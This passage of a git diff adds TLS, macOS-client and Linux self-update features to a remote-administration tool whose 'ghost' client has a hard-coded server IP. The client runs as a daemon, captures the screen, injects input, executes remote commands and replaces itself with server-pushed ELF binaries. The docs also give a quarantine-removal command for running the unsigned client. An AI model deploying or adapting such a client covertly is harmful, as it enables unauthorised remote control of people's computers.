- **UI**:在 MFC 配置对话框(类 MCP)里加「启用传输加密 + 指定一对密钥」,写入 `[tls]` 三键 → 调 `ServerTlsIdentity::Load(config&)` 重载 → `IsEnabled()` 即时生效。**只碰 §4.2 第 1/2 点,不碰传输层。**
- **「向在线主机下发启用/撤销加密」指令**:服务端侧是一条新的命令通道(遍历在线连接广播),客户端侧是**运行时热切换**——收到指令后热加载/删除信任锚、断开重连走新通道。
**必须先说破的跨端依赖**:这条指令真正的大头在**客户端**——客户端目前读 `tls_cert` 是进程启动读一次、`std::call_once`、**不可热切换**(见上游 §6.1 及 `docs/tls-cert-push-revoke-deferred` 记忆)。因此「下发/撤销」落地时,客户端要先把 `TlsEnabled()` 的一次读死改成「指令驱动的热重载」。**这与本次服务端传输层正交**——只要 §4.2 第 2/3 点把服务端状态做成可重载、可中心化查询,未来就能干净接上,无需回头改本次代码。
## 8. 安全考量
- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成,与 Go 端一致。
- **TLS 不提供**(单向):客户端身份——仍由隧道内登录承担。
- **服务端 fail-closed**:服务端收到 TLS ClientHello 但自身未配证书/身份加载失败 → **直接关连接**,禁止把 TLS 字节当协议去解析(否则新客户端握手失败重试 + 服务端狂报解析错)。与客户端 fail-closed 语义对称(见上游 §6.4)。
- **握手 DoS**:TLS 握手有 CPU 开销,须受 per-IP 限流(现有)保护;方案 A 的短命握手线程还须加握手超时(`SSPI` 握手期间设 socket 收发超时,超时关连接)。
- **部署顺序**(关键):**MFC 服务端证书必须与客户端 CA 一起(或先于)上线**。否则「新客户端(已钉 CA)连旧 MFC 服务端(无证书)」→ 客户端 fail-closed 直接拒绝,表现为「升级客户端后连不上老服务端」。这是设计使然,部署/文档须写明。
- **私钥安全**:服务器私钥只在握手时由 Schannel 内部签名使用(ECDHE)或解密预主密钥(RSA),不参与业务数据加解密;私钥文件应最小权限存放、不落日志。真正的长期秘密(CA 私钥)平时离线,仅在签发/轮换服务器证书时使用。
## 9. 部署与运维
生成服务端身份(与 Go 端 §9.1 的 `server.crt` + `server.key` 完全同一对密钥;私钥须 PKCS#8):
```bash
# 若私钥是 PKCS#1(-----BEGIN RSA/EC PRIVATE KEY-----),先转 PKCS#8:
openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key
```
MFC 服务端配置(直接指向与 Go 端相同的 PEM 文件):
```ini
[tls]
Enabled = 1
CertPath = C:\YAMA\server.crt
KeyPath = C:\YAMA\server.key
```
重启 MFC 服务端即生效(本次仅启动时读一次,热切换待未来 UI)。删除 `[tls]` 节或置 `Enabled=0` 即回纯明文。
## 10. 测试计划
1. **嗅探单元**:`0x16 0x03 .. 0x01`(TLS 1.2/1.3 ClientHello)/ 明文首包 / 混淆头(首两字节 `0x16 0x03` 但 `b[5]!=0x01`)/ 首包 <6 字节分片 的判定。
2. **TLS 未配置**:`Enabled=0` 或无证书 → 纯明文,行为与现状一致(老 + 新无证书客户端回归)。
3. **明文回归**:老客户端全链路(登录/屏幕/终端/文件)不回归。
4. **TLS 加密**:新客户端(有证书)连 MFC 服务端 → 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰(对应未来过渡期)。
6. **fail-closed 双向**:① 服务端未配证书但收到 ClientHello → 关连接不误解析;② 客户端有证书但服务端证书不匹配 → 客户端断开不回退明文。
7. **握手超时 / 限流**:恶意慢握手被超时 + per-IP 限流压制。
8. **连接复用**:一条 TLS 连接断开后,context 回池再被明文连接复用,TLS 状态已复位、无泄漏(§5.7)。
## 11. 分期与回滚
- **本期(MFC 服务端传输加密,已实施)**:`ServerTlsIdentity`(PEM+CNG 加载)+ `CONTEXT_OBJECT` 字段(`tlsState` 枚举)+ 嗅探/预分类 + 握手(方案 A)+ ①收包解密 + ②发包加密 + 生命周期复位。可独立验证——用 `openssl s_client` 或复用 Go 端测试客户端联调,无需真实客户端配合。
- **后续 A(UI)**:MCP 式配置对话框 + 重载 `ServerTlsIdentity`。
- **后续 B(下发/撤销指令)**:服务端指令通道 + **客户端热切换**(客户端 `TlsEnabled()` 改指令驱动,见 §7)。
- **回滚**:服务端 `[tls] Enabled=0` 即回纯明文,无需改客户端(客户端无证书时本就明文)。
## 12. 已拍板决策与仍待定问题
**已拍板(2026-10-14)**:
1. **握手方案**:采用 **方案 A(专用阻塞线程)**,见 §5.3。
2. **身份文件格式**:采用 **PEM + CNG(`CertPath` + `KeyPath`,私钥 PKCS#8)**,与 Go 服务端共用同一对密钥,见 §5.6。
3. **配置节名**:新建 **`[tls]` 节**,键 `Enabled` / `CertPath` / `KeyPath`,见 §4.1。
**仍待定**:
1. **KCP/UDP 传输是否也要 TLS**:本期不含,另行评估。
2. **MFC 的 MCP 式配置 UI**:显式排除,见 §7;落地时只碰 §4.2 第 1/2 点。
+576
View File
@@ -0,0 +1,576 @@
# macOS 远程桌面客户端设计文档
## 1. 概述
### 1.1 目标
在不影响现有 Windows/Linux 功能的基础上,为 YAMA 项目添加 macOS 客户端支持,前期实现远程桌面控制功能。
### 1.2 功能范围(Phase 1)
| 功能 | 优先级 | 状态 | 说明 |
|-----|--------|------|------|
| 连接服务器 | P0 | ⏳ Stub | 复用现有网络协议 |
| 屏幕捕获 | P0 | ✅ 完成 | CGDisplayCreateImage 实现 |
| 鼠标控制 | P0 | ✅ 完成 | CGEvent 实现 |
| 键盘控制 | P0 | ✅ 完成 | CGEvent + VK映射 |
| 光标同步 | P1 | ⏳ 待实现 | 显示当前光标类型 |
| 多显示器 | P2 | ⏳ 待实现 | 支持多屏幕选择 |
### 1.3 参考实现
- **Linux 客户端** (`linux/`): 架构相似,协议兼容
- **RustDesk**: 成熟的跨平台远程桌面开源项目
- **Sunshine**: 高性能游戏串流项目
---
## 2. 架构设计
### 2.1 目录结构(已实现)
```
YAMA/
├── common/ # 跨平台共享(已有)
│ ├── commands.h # 协议定义
│ └── ...
├── client/ # Windows 客户端(不动)
├── linux/ # Linux 客户端(不动)
└── macos/ # macOS 客户端(Phase 1 完成)
├── CMakeLists.txt # 构建配置
├── build.sh # 一键编译脚本
├── README.txt # 使用说明
├── IOCPClient.h # 网络客户端 stub
├── main.mm # 入口点 + 系统信息
├── Permissions.h # 权限检查声明
├── Permissions.mm # 权限检查实现
├── ScreenHandler.h # 屏幕捕获声明
├── ScreenHandler.mm # 屏幕捕获实现
├── InputHandler.h # 输入模拟声明
├── InputHandler.mm # 输入模拟实现
├── SystemManager.h # 进程管理声明
└── SystemManager.mm # 进程管理实现
```
### 2.2 模块依赖关系
```
┌─────────────────────────────────────────────────┐
│ main.mm │
│ (入口、权限检查、系统信息收集) │
└─────────────┬───────────────────────────────────┘
│
┌─────────┼─────────┬─────────────┐
▼ ▼ ▼ ▼
┌───────┐ ┌───────┐ ┌───────┐ ┌────────────┐
│Screen │ │Input │ │System │ │IOCPClient │
│Handler│ │Handler│ │Manager│ │(网络 stub) │
└───┬───┘ └───┬───┘ └───────┘ └────────────┘
│ │
▼ ▼
┌─────────────────────────────────┐
│ macOS 系统框架 │
│ CoreGraphics (截屏) │
│ Carbon (键码定义) │
│ ApplicationServices (权限) │
└─────────────────────────────────┘
```
---
## 3. 技术选型
### 3.1 屏幕捕获方案(已选定)
| 方案 | 最低版本 | 性能 | 复杂度 | 选择 |
|-----|---------|------|--------|-----|
| `CGDisplayCreateImage` | 10.5 | 中 | 低 | **✅ 已采用** |
| `CGDisplayStream` | 10.8 | 中 | 中 | 备选 |
| `ScreenCaptureKit` | 12.3 | 高 | 高 | 未来考虑 |
**选择 CGDisplayCreateImage**:
- 实现简单,兼容性好
- 与 Linux 端 `XGetImage` 方案一致
- 足以支持 10-30 FPS 传输
### 3.2 输入模拟方案(已实现)
| 功能 | API | 实现状态 |
|-----|-----|---------|
| 鼠标移动 | `CGEventCreateMouseEvent` | ✅ 完成 |
| 鼠标点击 | `CGEventCreateMouseEvent` | ✅ 完成 |
| 鼠标拖动 | `kCGEventLeftMouseDragged` | ✅ 完成 |
| 鼠标滚轮 | `CGEventCreateScrollWheelEvent` | ✅ 完成 |
| 键盘输入 | `CGEventCreateKeyboardEvent` | ✅ 完成 |
| 事件发送 | `CGEventPost(kCGHIDEventTap)` | ✅ 完成 |
### 3.3 VK 键码映射(已实现)
Windows VK 码到 macOS CGKeyCode 的完整映射:
| 按键类型 | VK 范围 | macOS 映射 |
|---------|---------|-----------|
| 字母 A-Z | 0x41-0x5A | kVK_ANSI_A - kVK_ANSI_Z |
| 数字 0-9 | 0x30-0x39 | kVK_ANSI_0 - kVK_ANSI_9 |
| 小键盘 | 0x60-0x69 | kVK_ANSI_Keypad0 - 9 |
| F1-F12 | 0x70-0x7B | kVK_F1 - kVK_F12 |
| 方向键 | 0x25-0x28 | kVK_LeftArrow 等 |
| 修饰键 | 0x10-0x12 | kVK_Shift/Control/Option |
| Win 键 | 0x5B-0x5C | kVK_Command |
### 3.4 差分算法(与 Linux 一致)
| 算法 | ID | 说明 |
|-----|-----|------|
| ALGORITHM_GRAY | 0 | 灰度压缩 |
| ALGORITHM_DIFF | 1 | BGRA 差分 |
| ALGORITHM_H264 | 2 | 硬件编码(未实现)|
| ALGORITHM_RGB565 | 3 | RGB565 压缩 |
### 3.5 macOS 版本支持
| 版本 | 代号 | 发布年份 | 支持状态 |
|-----|------|---------|---------|
| 10.13 | High Sierra | 2017 | ✅ 目标最低版本 |
| 10.14 | Mojave | 2018 | ✅ 支持 |
| 10.15 | Catalina | 2019 | ✅ 支持(需权限) |
| 11.x | Big Sur | 2020 | ✅ 支持 |
| 12.x | Monterey | 2021 | ✅ 支持 |
| 13.x | Ventura | 2022 | ✅ 支持 |
| 14.x | Sonoma | 2023 | ✅ 支持 |
**注意**:macOS 10.15+ 需要用户授予屏幕录制权限。
---
## 4. 权限处理
### 4.1 所需权限
| 权限 | 用途 | 最低要求版本 | 授权方式 |
|-----|------|------------|---------|
| **屏幕录制** | 捕获屏幕内容 | 10.15 | 系统偏好设置 > 隐私 > 屏幕录制 |
| **辅助功能** | 模拟键盘/鼠标输入 | 所有版本 | 系统偏好设置 > 隐私 > 辅助功能 |
### 4.2 权限检查实现(Permissions.mm)
```objc
// 检查屏幕录制权限
bool Permissions::checkScreenCapture() {
if (@available(macOS 10.15, *)) {
CGImageRef image = CGWindowListCreateImage(
CGRectMake(0, 0, 1, 1),
kCGWindowListOptionOnScreenOnly,
kCGNullWindowID,
kCGWindowImageDefault
);
if (image == nil) return false;
CGImageRelease(image);
return true;
}
return true; // 10.15 之前不需要权限
}
// 检查辅助功能权限
bool Permissions::checkAccessibility() {
return AXIsProcessTrusted();
}
// 请求辅助功能权限(弹出系统对话框)
void Permissions::requestAccessibility() {
NSDictionary *options = @{
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
};
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
}
```
### 4.3 权限引导流程
```
程序启动
│
▼
检查屏幕录制权限 ──否──▶ 打开系统偏好设置
│
是
│
▼
检查辅助功能权限 ──否──▶ 弹出授权对话框
│
是
│
▼
正常运行
```
---
## 5. 核心代码实现
### 5.1 ScreenHandler(已实现)
```objc
// ScreenHandler.h
class ScreenHandler {
public:
ScreenHandler();
~ScreenHandler();
bool init(); // 初始化
void start(IOCPClient* client, uint64_t id); // 开始捕获
void stop(); // 停止捕获
int getWidth() const;
int getHeight() const;
void sendBitmapInfo(); // 发送屏幕信息
void onReceive(const uint8_t* data, size_t size);
void applyQualityLevel(int8_t level, bool persist);
private:
bool captureScreen(std::vector<uint8_t>& buffer); // 截屏
void sendFirstScreen(); // 发送首帧
void sendDiffFrame(); // 发送差分帧
uint32_t compareBitmap(...); // 差分计算
void convertBGRAtoGray(...); // 灰度转换
void convertBGRAtoRGB565(...); // RGB565转换
void captureLoop(); // 捕获循环
// 成员变量
IOCPClient* m_client;
CGDirectDisplayID m_displayID;
BITMAPINFOHEADER_MAC m_bmpHeader;
std::vector<uint8_t> m_prevFrame, m_currFrame;
std::atomic<bool> m_running;
std::atomic<uint8_t> m_algorithm;
std::atomic<int> m_maxFPS;
};
```
### 5.2 InputHandler(已实现)
```objc
// InputHandler.h
class InputHandler {
public:
InputHandler();
~InputHandler();
bool init(); // 初始化(检查权限)
void handleInputEvent(const MSG64_MAC* msg); // 处理输入事件
bool hasAccessibilityPermission() const;
private:
void handleMouseMove(int x, int y);
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
void handleMouseWheel(int delta);
void handleKeyEvent(uint32_t vkCode, bool down);
static CGKeyCode vkToMacKeyCode(uint32_t vk); // VK 到 macOS 键码映射
bool m_hasPermission;
CGPoint m_lastMousePos;
bool m_leftButtonDown, m_rightButtonDown, m_middleButtonDown;
};
```
### 5.3 SystemManager(已实现)
```objc
// SystemManager.h
class SystemManager {
public:
SystemManager(IOCPClient* client, uint64_t clientID);
~SystemManager();
void onReceive(const uint8_t* data, size_t size);
private:
void sendProcessList(); // 进程列表
void killProcesses(const uint8_t* data, size_t size);
void sendWindowsList(); // 窗口列表
static std::vector<pid_t> getAllPids(); // 枚举进程
static std::string getProcessName(pid_t pid);
static std::string getProcessPath(pid_t pid);
};
```
### 5.4 main.mm(已实现)
主要功能:
- 命令行参数解析
- 权限检查和引导
- 系统信息收集(主机名、OS版本、CPU、内存等)
- 初始化各处理器
- 主事件循环
```objc
int main(int argc, const char* argv[]) {
@autoreleasepool {
// 1. 解析命令行参数
// 2. 检查权限
// 3. 收集系统信息
// 4. 初始化 ScreenHandler, InputHandler
// 5. 主循环
}
return 0;
}
```
---
## 6. 构建配置
### 6.1 CMakeLists.txt
```cmake
cmake_minimum_required(VERSION 3.15)
project(ghost_macos)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64") # Universal Binary
set(SOURCES
main.mm
ScreenHandler.mm
InputHandler.mm
SystemManager.mm
Permissions.mm
)
add_executable(ghost ${SOURCES})
target_include_directories(ghost PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
# 链接 macOS 框架
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
find_library(SECURITY_FRAMEWORK Security REQUIRED)
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK}
${COREGRAPHICS_FRAMEWORK}
${IOKIT_FRAMEWORK}
${IOSURFACE_FRAMEWORK}
${APPLICATIONSERVICES_FRAMEWORK}
${SECURITY_FRAMEWORK}
${CARBON_FRAMEWORK}
)
target_compile_options(ghost PRIVATE -Wall -Wextra -fobjc-arc)
```
### 6.2 编译命令
```bash
# 方式 1: 使用脚本
chmod +x build.sh
./build.sh
# 方式 2: 手动编译
mkdir build && cd build
cmake ..
make -j$(sysctl -n hw.ncpu)
# 输出: build/bin/ghost
```
---
## 7. 实现进度
### Phase 1: 基础框架 ✅ 完成
| 任务 | 状态 | 产出 |
|-----|------|------|
| 创建目录结构 | ✅ | `macos/` 目录 |
| CMakeLists.txt | ✅ | 构建配置 |
| Permissions.h/mm | ✅ | 权限检查 |
| ScreenHandler.h/mm | ✅ | 屏幕捕获 |
| InputHandler.h/mm | ✅ | 输入模拟 |
| SystemManager.h/mm | ✅ | 进程管理 |
| main.mm | ✅ | 入口点 |
| IOCPClient.h | ✅ | 网络 stub |
### Phase 2: 网络集成 ⏳ 待实现
| 任务 | 状态 | 说明 |
|-----|------|------|
| IOCPClient 实现 | ⏳ | 复用 client/IOCPClient |
| 登录信息发送 | ⏳ | LOGIN_INFOR 结构 |
| 心跳保活 | ⏳ | Heartbeat 机制 |
| 命令分发 | ⏳ | DataProcess 回调 |
### Phase 3: 功能完善 ⏳ 待实现
| 任务 | 状态 |
|-----|------|
| 光标类型同步 | ⏳ |
| 多显示器支持 | ⏳ |
| 文件传输 | ⏳ |
| 剪贴板同步 | ⏳ |
### Phase 4: 代码保护 ⏳ 待实现
| 任务 | 状态 |
|-----|------|
| 服务端密钥对生成 | ⏳ |
| 服务端签名逻辑 | ⏳ |
| 闭源库 libYamaCore | ⏳ |
| 客户端绑定验证 | ⏳ |
---
## 8. 测试指南
### 8.1 编译前准备
```bash
# 安装 Xcode Command Line Tools
xcode-select --install
# 安装 CMake (通过 Homebrew)
brew install cmake
```
### 8.2 编译运行
```bash
# 获取代码
git clone <repo-url>
cd YAMA/macos
# 编译
./build.sh
# 运行
./build/bin/ghost [server_ip] [port]
```
### 8.3 首次运行权限授予
1. **屏幕录制权限**:
- 系统偏好设置 > 隐私与安全性 > 屏幕录制
- 添加 `ghost` 可执行文件
2. **辅助功能权限**:
- 系统偏好设置 > 隐私与安全性 > 辅助功能
- 添加 `ghost` 可执行文件
### 8.4 预期输出
```
=== macOS Ghost Client (Phase 1) ===
Server: 192.168.0.55:6543
Checking permissions...
Collecting system information...
Hostname: MacBook-Pro.local
OS: macOS 14.0.0
CPU: Apple M1 (0 MHz, 8 cores)
Memory: 16.0 GB
User: username
Resolution: 1:2560x1600
Executable: /path/to/ghost
Start Time: 2024-04-29 12:00:00
Initializing handlers...
Screen handler initialized: 2560x1600
Input handler initialized
=== Phase 1 Status ===
Screen Capture: READY
Input Control: READY
Network: STUB (Phase 2)
======================
Starting main loop (Ctrl+C to exit)...
```
---
## 9. 常见问题
### 9.1 编译问题
| 问题 | 原因 | 解决方案 |
|-----|------|---------|
| 找不到 Foundation.h | 缺少 Xcode CLT | `xcode-select --install` |
| CMake 找不到 | 未安装 CMake | `brew install cmake` |
| 架构不匹配 | Universal Binary 问题 | 检查 CMAKE_OSX_ARCHITECTURES |
### 9.2 运行时问题
| 问题 | 原因 | 解决方案 |
|-----|------|---------|
| 程序无法打开 | 未签名 | `xattr -d com.apple.quarantine ghost` |
| Screen Capture: NEED PERMISSION | 无录屏权限 | 系统偏好设置授权 |
| Input Control: NEED PERMISSION | 无辅助功能权限 | 系统偏好设置授权 |
### 9.3 权限重置
```bash
# 如果权限状态混乱,可重置
tccutil reset ScreenCapture
tccutil reset Accessibility
```
---
## 10. 代码保护机制(待实现)
### 10.1 保护策略
核心思路:客户端内嵌服务端公钥,连接时验证服务端身份。
```
┌─────────────────────┐ ┌─────────────────────┐
│ macOS Client │ │ Your Server │
│ │ 1. 挑战请求 │ │
│ ┌─────────────────┐ │ ─────────────────▶ │ ┌─────────────────┐ │
│ │ libYamaCore.a │ │ │ │ 服务端私钥 │ │
│ │ (闭源) │ │ ◀───────────────── │ │ │ │
│ │ 内嵌服务端公钥 │ │ 2. 签名响应 │ └─────────────────┘ │
│ │ │ │ │ │
│ │ 验证签名 ─────▶ 匹配 ──▶ 正常工作 │
│ │ ─────▶ 不匹配 ──▶ 拒绝连接 │
│ └─────────────────┘ │ │ │
└─────────────────────┘ └─────────────────────┘
```
### 10.2 实施步骤
1. 生成服务端密钥对
2. 服务端添加签名逻辑
3. 创建闭源库 libYamaCore
4. 嵌入公钥编译
5. 客户端集成验证
---
## 11. 参考资料
### 11.1 官方文档
- [CGDisplayCreateImage](https://developer.apple.com/documentation/coregraphics/1454434-cgdisplaycreateimage)
- [CGEvent Reference](https://developer.apple.com/documentation/coregraphics/cgevent)
- [Carbon Events.h](https://developer.apple.com/documentation/carbon/events_h)
- [Accessibility API](https://developer.apple.com/documentation/applicationservices/axuielement_h)
### 11.2 开源项目参考
- [RustDesk macOS](https://github.com/rustdesk/rustdesk/tree/master/src/platform/macos)
- [Sunshine Screen Capture](https://github.com/LizardByte/Sunshine/tree/master/src/platform/macos)
---
## 12. 修订历史
| 日期 | 版本 | 修改内容 |
|-----|------|---------|
| 2026-04-28 | 1.0 | 初始版本(设计文档) |
| 2026-04-29 | 1.1 | 更新为实现文档,Phase 1 完成 |
+4 -2
View File
@@ -28,6 +28,7 @@ set(SOURCES
main.cpp
../client/Buffer.cpp
../client/IOCPClient.cpp
../client/TlsChannelLinux.cpp # Linux 客户端单向 TLS(OpenSSL),见 client/TlsChannel.h
../client/sign_shim_unix.cpp
)
add_executable(ghost ${SOURCES})
@@ -45,9 +46,10 @@ target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a")
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libsign.a")
# libsign.a 内部使用 OpenSSL HMAC,需要在最终可执行链接 libcrypto
# libsign.a 内部使用 OpenSSL HMAC,需要在最终可执行链接 libcrypto;
# 客户端传输层 TLS(client/TlsChannelLinux.cpp)另需 libssl。
find_package(OpenSSL REQUIRED)
target_link_libraries(ghost PRIVATE OpenSSL::Crypto)
target_link_libraries(ghost PRIVATE OpenSSL::Crypto OpenSSL::SSL)
# 链接 dl 库(dlopen/dlsym 用于运行时加载 X11)
target_link_libraries(ghost PRIVATE dl)
+50 -1
View File
@@ -25,8 +25,10 @@ SimpleRemoter 的 Linux 客户端,支持远程桌面、远程终端、文件
| 系统信息采集 | main.cpp | `LoginServer.cpp` | ✅ 完整 |
| 守护进程 | daemonize() | Windows 服务 | ✅ 完整 |
| 剪贴板同步 | `ClipboardHandler.h` | `ScreenManager.cpp` | ✅ 服务端↔Linux |
| V2 文件传输 | `FileTransferV2.h` | `file_upload.h` | ✅ 服务端↔Linux |
| V2 文件传输 | `FileTransferV2.h` | `file_upload.h` | ✅ 服务端↔Linux(含 MCP `upload_file`/`download_file`:发送完成包带流式 SHA-256,路径不存在/无权限回 `TOKEN_DOWNLOAD_ERROR`) |
| C2C 文件接收 | `FileTransferV2.h` | `file_upload.h` | ✅ Windows/MCP → Linux(目标目录由服务端 `dst_dir` 指定,落盘后回执) |
| 配置持久化 | `LinuxConfig` | INI 文件 | ✅ 完整 |
| MCP 远程管理 | 复用 `SystemManager.h` / `PTYHandler.h` / `ScreenHandler.h` | 服务端 MCP | ✅ 档 1:`kill_process`、`exec_command`、`terminal_open/exec/close`、`remote_open/close/mouse/keyboard/clipboard`(服务端放开门禁,客户端协议本已实现) |
### 未实现
@@ -160,6 +162,53 @@ make -j$(nproc)
kill $(cat ~/.config/ghost/ghost.pid)
```
## 远程升级
服务端选中一台 Linux 主机后点「升级程序」,即可把新的 `ghost` 推下去并自动重启。
### 服务端准备
按以下优先级取 ELF,前一级拿不到才看下一级:
| 顺序 | 来源 | 说明 |
|-----|------|------|
| 1 | `settings.ini` 的 `[settings] LinuxClientPath` | 显式指定。配了但读不到会直接报错,不会偷偷换成别的版本 |
| 2 | 服务端**程序目录**下的 `ghost_linux_amd64` | 换个文件即可,不必重编服务端 |
| 3 | 服务端 `res\ghost_linux` | 项目通用的外部资源目录 |
| 4 | 内嵌资源 `IDR_LINUX_GHOST` | 编译进服务端 exe(构建时取 `linux/ghost`),磁盘上什么都不用放 |
```ini
[settings]
LinuxClientPath=C:\build\ghost
```
第 4 级是编译时的快照,想换版本要么放到第 1~3 级,要么重编服务端。
只接受 64 位 x86_64 ELF(`ELFCLASS64` + `EM_X86_64`),其它文件会在下发前被拒绝并提示。
### 下发格式
```
[COMMAND_UPDATE:1][size:8 LE][ELF:size][md5:32 ASCII 小写 hex]
```
Windows 客户端的同名命令没有摘要(走内存加载器/更新器),LNX 多出 32 字节 MD5。
### 客户端行为
1. 校验长度、ELF magic、`e_machine` 与本机自身 ELF 头一致、MD5 匹配;
2. 在自身所在目录写临时文件 `.<名字>.new.<pid>`(0755)并 `fsync`;
3. 用 `rename()` 原子替换正在运行的二进制(Linux 允许替换执行中的 inode),
旧版本保留为 `<名字>.old`;
4. `fork` + `setsid` + 关闭继承的 fd + 等待老进程退出,再用**原始命令行** `execv` 新版本;
老进程以 `g_bExit = S_CLIENT_UPDATE` 正常退出,服务端立刻看到断线重连。
前提:客户端所在目录对运行用户可写(否则报「cannot create ...: Permission denied」)。
任何一步失败都不会退出进程,原因会写进客户端日志并发到服务端消息栏
(`Linux client update failed`)。
回滚:把 `ghost.old` 拷回 `ghost` 并重启即可(它会在下次升级时被覆盖)。
## 常见问题
### Q: 远程桌面功能不工作
+330 -4
View File
@@ -18,6 +18,7 @@
#include <iostream>
#include <stdexcept>
#include <cstdio>
#include <ctime>
#include <memory>
#include <array>
#include <regex>
@@ -37,8 +38,12 @@
#include "common/posix_net_helpers.h"
#include "common/sub_conn_thread.h"
#include "LinuxConfig.h"
#include <openssl/evp.h>
#include <cctype>
#include <vector>
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
static void ApplySelfUpdate(const PBYTE szBuffer, ULONG ulLength);
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
@@ -46,6 +51,16 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L
// 全局状态
State g_bExit = S_CLIENT_NORMAL;
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
// 传输层热切换(服务端 COMMAND_TLS_ENABLE/DISABLE 改了信任锚)后需要重建连接。
// DataProcess 跑在接收线程上,直接关 socket 会和主线程的发送竞争,所以只置标志,
// 由主心跳循环择机 Disconnect 并重连。
static std::atomic<bool> g_needReconnect(false);
// 自升级(COMMAND_UPDATE):fork+execv 重启自己时需要原始命令行,
// 失败回报需要主连接(DataProcess 的 user 参数为 NULL,只能靠全局)。
static int g_argc = 0;
static char** g_argv = nullptr;
static IOCPClient* g_pMainClient = nullptr;
// 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms),0 表示新连接刚建立尚未喂初值。
// 心跳循环用它检测应用层超时:TCP send() 永远不会因半死连接报错(数据塞进 SNDBUF
@@ -367,6 +382,28 @@ void* FileManagerThread(void* /*param*/)
return NULL;
}
// 信任锚已落盘/已删除:热重载 TLS 状态,必要时请求主循环重建连接。
// 只在传输方式真正变化(明文↔TLS)时重连;仅换证书(仍是 TLS)不打断现有会话,
// 新锚从下一条新连接开始生效。
static void ApplyTlsAnchorChange(void* user)
{
bool before = TlsEnabled();
std::string err;
if (!TlsReload(err)) {
Mprintf("** [%p] TLS reload failed: %s (keeping current transport) ***\n", user, err.c_str());
return;
}
bool after = TlsEnabled();
if (before == after) {
Mprintf("** [%p] TLS trust anchor updated, transport unchanged (%s) ***\n",
user, after ? "TLS" : "plaintext");
return;
}
g_needReconnect.store(true);
Mprintf("** [%p] TLS transport switched to %s, reconnecting ***\n",
user, after ? "TLS" : "plaintext");
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
@@ -445,8 +482,8 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
FileTransferV2::HandleC2CPrepare(szBuffer, ulLength, nullptr);
Mprintf("** [%p] C2C Prepare received ***\n", user);
} else if (szBuffer[0] == COMMAND_SEND_FILE_V2 || szBuffer[0] == COMMAND_FILE_COMPLETE_V2) {
// V2 文件接收
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID);
// V2 文件接收;g_pMainClient 用于 C2C 落盘回执(DataProcess 的 user 恒为 NULL)
int result = FileTransferV2::RecvFileChunkV2(szBuffer, ulLength, g_myClientID, g_pMainClient);
if (result != 0) {
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
}
@@ -470,6 +507,36 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
// 标记需要重发登录信息(让服务端更新分组显示)
g_needResendLogin.store(true);
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
} else if (szBuffer[0] == COMMAND_TLS_ENABLE) {
// 服务端下发信任锚证书(载荷与 Windows 一致:szBuffer+1 起为 PEM 正文)。
// Windows 写注册表 settings\tls_cert;Linux 写 ~/.config/ghost/yama-ca.pem。
// 与 Windows 不同:Linux 落盘后热重载并重连,立即切换(Windows 仍需重启进程)。
if (ulLength > 1) {
std::string pem((char*)szBuffer + 1, ulLength - 1);
std::string err;
if (TlsTrustAnchorSave(pem, err)) {
Mprintf("** [%p] TLS trust anchor received and saved ***\n", user);
ApplyTlsAnchorChange(user);
} else {
Mprintf("** [%p] TLS trust anchor save failed: %s ***\n", user, err.c_str());
}
} else {
// 没有证书正文就等于「启用但没有锚」——不该悄悄忽略,留一行便于排查。
Mprintf("** [%p] COMMAND_TLS_ENABLE without a certificate payload, ignored\n", user);
}
} else if (szBuffer[0] == COMMAND_TLS_DISABLE) {
// 撤销信任锚:删除配置文件并热重载,当前连接若是 TLS 就重连回明文。
std::string err;
if (TlsTrustAnchorRemove(err)) {
Mprintf("** [%p] TLS trust anchor removed ***\n", user);
ApplyTlsAnchorChange(user);
} else {
Mprintf("** [%p] TLS trust anchor removal: %s ***\n", user, err.c_str());
}
} else if (szBuffer[0] == COMMAND_UPDATE) {
// 服务端"升级程序"菜单下发新版本 ELF
Mprintf("** [%p] Received 'UPDATE' command (%u bytes) ***\n", user, (unsigned)ulLength);
ApplySelfUpdate(szBuffer, ulLength);
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
@@ -585,6 +652,21 @@ std::string getLinuxDistro()
return "Linux";
}
// 进程启动时刻(墙钟)。在程序加载时记录一次:升级走 fork+execv 会重新加载本进程
